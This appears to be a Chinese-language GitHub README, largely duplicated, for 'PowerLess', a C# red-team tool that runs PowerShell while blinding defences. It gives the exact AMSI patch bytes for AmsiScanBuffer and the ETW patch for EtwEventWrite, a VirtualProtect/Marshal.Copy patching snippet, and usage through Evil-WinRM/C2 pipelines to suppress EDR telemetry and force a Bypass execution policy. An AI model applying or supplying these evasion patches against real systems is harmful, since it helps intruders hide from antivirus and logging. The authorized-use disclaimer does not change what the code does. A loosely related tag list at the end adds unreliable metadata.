tralsesec/PowerLess
GitHub: tralsesec/PowerLess
PowerLess 是一个通过反射式 GAC 加载和预运行内存补丁绕过 AMSI 与 ETW 的独立 PowerShell 执行引擎,专为红队与授权安全评估设计。
Stars: 0 | Forks: 0
# PowerLess
**PowerLess** 是一个独立的、反射式的 PowerShell 执行引擎包装器,使用原生 C# 构建。它通过在其自身的内存分配中直接托管本地化的 PowerShell runspace,从而绕过了标准的基于进程的遥测、执行策略控制和环境跟踪。
通过直接从原生的 Windows 全局程序集缓存 (GAC) 加载底层引擎组件,并应用精准的预运行内存补丁,它将执行与 `powershell.exe` 完全解耦。最终生成的是一个干净、无依赖的二进制文件,经过优化,可无缝集成到交互式控制台和无头网络管道中。
## 🎯 功能
* **反射式 GAC 引擎劫持:** 从宿主操作系统的全局程序集缓存中动态映射并解析 `System.Management.Automation`。它完全独立运行,无需附带庞大的 runtime 或第三方 SDK 包。
* **预运行内存致盲:** 在执行环境启动之前,应用原生 Win32 内存补丁(`VirtualProtect` 和 `Marshal.Copy`)以绕过 AMSI (`AmsiScanBuffer`),并在用户模式空间中终止事件日志记录 (`EtwEventWrite`)。
* **双轨流架构:** 自动适应其运行环境。它可以在用于本地会话的轮询、非阻塞交互式 REPL 循环之间无缝切换,并且内置了单次执行命令模式,旨在防止在无头远程端点上发生挂起。
* **防死锁管道控制:** 抛弃了经典的缓冲控制台流,转而采用带有显式自动刷新的直接 `StreamReader` / `StreamWriter` 配置,确保在 WinRM 等异步协议上实现实时数据同步。
* **不受约束的会话状态:** 使用动态解析的强类型枚举,显式强制实例化 `InitialSessionState`,从而解锁 `FullLanguage` 模式,并在暗中应用绝对的 `Bypass` 执行策略。
* **隔离的错误捕获:** 通过动态反射拦截引擎独立的错误流块,将运行时脚本故障聚合到执行输出中,而不会触发宿主控制台的错误警报。
## 📦 环境要求与编译
PowerLess 针对现代 Windows 部署中原生可用的标准遗留架构。它不需要任何外部部署包。
* **目标框架:** `.NET Framework 4.8`(或任何兼容的标准 Windows CLR 环境)
* **构建配置:** 编译成一个微小的独立可执行文件(以 KB 为单位计算,而不是 MB)。
## 🚀 用法
### 1. 无头命令模式(针对 Evil-WinRM / C2 管道优化)
要在非交互式网络管道上执行脚本或实用程序任务,且避免线程锁定或输入死锁的风险,请直接将你的 payload 作为参数传递。该框架会执行该字符串,刷新流,然后干净地退出。
```
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe $('echo amsi'+'Utils')
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe 'Get-Process | Where-Object {$_.SI -eq (Get-Process -Id $PID).SessionId}'
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe '$PSVersionTable.PSVersion'
```
### 2. 交互式 REPL 模式(本地控制台 / TTY)
当在不存在输入重定向的交互式终端会话内部启动时,PowerLess 会直接进入一个持久的幽灵 shell,该 shell 会保留本地变量、路径和环境配置。
```
C:\Windows\Temp> .\PowerLess.exe
PS C:\Windows\Temp> whoami
local\Administrator
PS C:\Windows\Temp> exit
```
## 🧠 深入剖析
### 👻 反射式 Runspace 注入(GAC 解析)
标准工具经常会失效,因为它们硬编码了文件系统路径,或者提取了会触发安全边界的本地化 SDK 库。PowerLess 利用公共语言运行时 (CLR) 程序集加载器,通过其加密身份令牌直接从 Windows 核心程序集目录中提取代码:
```
string assemblyName = "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35";
Assembly psAssembly = Assembly.Load(assemblyName);
```
这使得在任何 Windows 平台上都能开箱即用地访问原生生产引擎,同时避免了那些试图寻找非标准管理库的基于磁盘的扫描工具。
### 🛡️ 预运行内存补丁
在 pipeline 运行其第一个脚本之前,应用程序使用 P/Invoke 包装器来 hook 当前进程空间中加载的核心安全动态链接库。
#### 1. AMSI 颠覆
runtime 查询 `amsi.dll` 中的 `AmsiScanBuffer`,并强制该函数立即以拒绝访问代码 (`0x80070005`) 退出,导致引擎完全绕过扫描操作:
* **Patch Payload:** `MOV EAX, 0x80070005; RET` (`0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3`)
#### 2. ETW 遥测抑制
runtime 通过定位 `EtwEventWrite` 来更新 `ntdll.dll`。它用一个与架构无关的返回命令覆盖了函数逻辑的第一个字节。这阻止了引擎将行为遥测数据向上传输给内核空间的事件跟踪消费者或正在监听的 EDR 传感器:
* **Patch Payload:** `RET` (`0xC3`)
```
uint oldProtect;
VirtualProtect(lpAddress, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, lpAddress, patch.Length);
VirtualProtect(lpAddress, (UIntPtr)patch.Length, oldProtect, out _);
```
### 🔄 无头同步与流轮询
传统的交互式 shell 通常依赖于阻塞式输入调用,例如 `Console.ReadLine()`。虽然这对于本地终端很有效,但像 WinRM 这样的远程执行环境可能更适合不同的输入模型,特别是当应用程序在等待传入数据时需要保持响应状态。
PowerLess 在调用阻塞式读取之前使用了一种简单的流轮询机制:
```
while (inputStream.Peek() == -1)
{
System.Threading.Thread.Sleep(100);
}
string input = inputStream.ReadLine();
```
应用程序不会立即进入 `ReadLine()`,而是首先检查输入流上是否有可用数据。如果不存在数据,线程会短暂休眠并重试。这减少了不必要的 CPU 利用率,并允许应用程序推迟阻塞式读取,直到至少有一个字符到达。
一旦输入变为可用状态,数据就会被读取,通过命令调度层进行处理,最终将生成的输出写回远程流并刷新给客户端。
这种方法并没有完全消除阻塞。一旦数据可用,`ReadLine()` 仍然会等待行终止符,但它提供了一种轻量级的机制,可以在进入阻塞式读取操作之前监控流活动。
## ⚠️ 免责声明
此工具的开发严格仅用于授权用途。在生产目标环境中部署内存补丁执行 runspace 之前,请务必获得明确的书面授权。
**作者:** [tralsesec](https://github.com/tralsesec)
**许可证:** MIT
**PowerLess** 是一个独立的、反射式的 PowerShell 执行引擎包装器,使用原生 C# 构建。它通过在其自身的内存分配中直接托管本地化的 PowerShell runspace,从而绕过了标准的基于进程的遥测、执行策略控制和环境跟踪。
通过直接从原生的 Windows 全局程序集缓存 (GAC) 加载底层引擎组件,并应用精准的预运行内存补丁,它将执行与 `powershell.exe` 完全解耦。最终生成的是一个干净、无依赖的二进制文件,经过优化,可无缝集成到交互式控制台和无头网络管道中。
## 🎯 功能
* **反射式 GAC 引擎劫持:** 从宿主操作系统的全局程序集缓存中动态映射并解析 `System.Management.Automation`。它完全独立运行,无需附带庞大的 runtime 或第三方 SDK 包。
* **预运行内存致盲:** 在执行环境启动之前,应用原生 Win32 内存补丁(`VirtualProtect` 和 `Marshal.Copy`)以绕过 AMSI (`AmsiScanBuffer`),并在用户模式空间中终止事件日志记录 (`EtwEventWrite`)。
* **双轨流架构:** 自动适应其运行环境。它可以在用于本地会话的轮询、非阻塞交互式 REPL 循环之间无缝切换,并且内置了单次执行命令模式,旨在防止在无头远程端点上发生挂起。
* **防死锁管道控制:** 抛弃了经典的缓冲控制台流,转而采用带有显式自动刷新的直接 `StreamReader` / `StreamWriter` 配置,确保在 WinRM 等异步协议上实现实时数据同步。
* **不受约束的会话状态:** 使用动态解析的强类型枚举,显式强制实例化 `InitialSessionState`,从而解锁 `FullLanguage` 模式,并在暗中应用绝对的 `Bypass` 执行策略。
* **隔离的错误捕获:** 通过动态反射拦截引擎独立的错误流块,将运行时脚本故障聚合到执行输出中,而不会触发宿主控制台的错误警报。
## 📦 环境要求与编译
PowerLess 针对现代 Windows 部署中原生可用的标准遗留架构。它不需要任何外部部署包。
* **目标框架:** `.NET Framework 4.8`(或任何兼容的标准 Windows CLR 环境)
* **构建配置:** 编译成一个微小的独立可执行文件(以 KB 为单位计算,而不是 MB)。
## 🚀 用法
### 1. 无头命令模式(针对 Evil-WinRM / C2 管道优化)
要在非交互式网络管道上执行脚本或实用程序任务,且避免线程锁定或输入死锁的风险,请直接将你的 payload 作为参数传递。该框架会执行该字符串,刷新流,然后干净地退出。
```
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe $('echo amsi'+'Utils')
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe 'Get-Process | Where-Object {$_.SI -eq (Get-Process -Id $PID).SessionId}'
*Evil-WinRM* PS C:\Windows\Temp> .\PowerLess.exe '$PSVersionTable.PSVersion'
```
### 2. 交互式 REPL 模式(本地控制台 / TTY)
当在不存在输入重定向的交互式终端会话内部启动时,PowerLess 会直接进入一个持久的幽灵 shell,该 shell 会保留本地变量、路径和环境配置。
```
C:\Windows\Temp> .\PowerLess.exe
PS C:\Windows\Temp> whoami
local\Administrator
PS C:\Windows\Temp> exit
```
## 🧠 深入剖析
### 👻 反射式 Runspace 注入(GAC 解析)
标准工具经常会失效,因为它们硬编码了文件系统路径,或者提取了会触发安全边界的本地化 SDK 库。PowerLess 利用公共语言运行时 (CLR) 程序集加载器,通过其加密身份令牌直接从 Windows 核心程序集目录中提取代码:
```
string assemblyName = "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35";
Assembly psAssembly = Assembly.Load(assemblyName);
```
这使得在任何 Windows 平台上都能开箱即用地访问原生生产引擎,同时避免了那些试图寻找非标准管理库的基于磁盘的扫描工具。
### 🛡️ 预运行内存补丁
在 pipeline 运行其第一个脚本之前,应用程序使用 P/Invoke 包装器来 hook 当前进程空间中加载的核心安全动态链接库。
#### 1. AMSI 颠覆
runtime 查询 `amsi.dll` 中的 `AmsiScanBuffer`,并强制该函数立即以拒绝访问代码 (`0x80070005`) 退出,导致引擎完全绕过扫描操作:
* **Patch Payload:** `MOV EAX, 0x80070005; RET` (`0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3`)
#### 2. ETW 遥测抑制
runtime 通过定位 `EtwEventWrite` 来更新 `ntdll.dll`。它用一个与架构无关的返回命令覆盖了函数逻辑的第一个字节。这阻止了引擎将行为遥测数据向上传输给内核空间的事件跟踪消费者或正在监听的 EDR 传感器:
* **Patch Payload:** `RET` (`0xC3`)
```
uint oldProtect;
VirtualProtect(lpAddress, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, lpAddress, patch.Length);
VirtualProtect(lpAddress, (UIntPtr)patch.Length, oldProtect, out _);
```
### 🔄 无头同步与流轮询
传统的交互式 shell 通常依赖于阻塞式输入调用,例如 `Console.ReadLine()`。虽然这对于本地终端很有效,但像 WinRM 这样的远程执行环境可能更适合不同的输入模型,特别是当应用程序在等待传入数据时需要保持响应状态。
PowerLess 在调用阻塞式读取之前使用了一种简单的流轮询机制:
```
while (inputStream.Peek() == -1)
{
System.Threading.Thread.Sleep(100);
}
string input = inputStream.ReadLine();
```
应用程序不会立即进入 `ReadLine()`,而是首先检查输入流上是否有可用数据。如果不存在数据,线程会短暂休眠并重试。这减少了不必要的 CPU 利用率,并允许应用程序推迟阻塞式读取,直到至少有一个字符到达。
一旦输入变为可用状态,数据就会被读取,通过命令调度层进行处理,最终将生成的输出写回远程流并刷新给客户端。
这种方法并没有完全消除阻塞。一旦数据可用,`ReadLine()` 仍然会等待行终止符,但它提供了一种轻量级的机制,可以在进入阻塞式读取操作之前监控流活动。
## ⚠️ 免责声明
此工具的开发严格仅用于授权用途。在生产目标环境中部署内存补丁执行 runspace 之前,请务必获得明确的书面授权。
**作者:** [tralsesec](https://github.com/tralsesec)
**许可证:** MIT标签:IPv6, Linux, OpenCanary, PowerShell, 免杀技术, 内存加载, 暴力破解检测, 绕过防御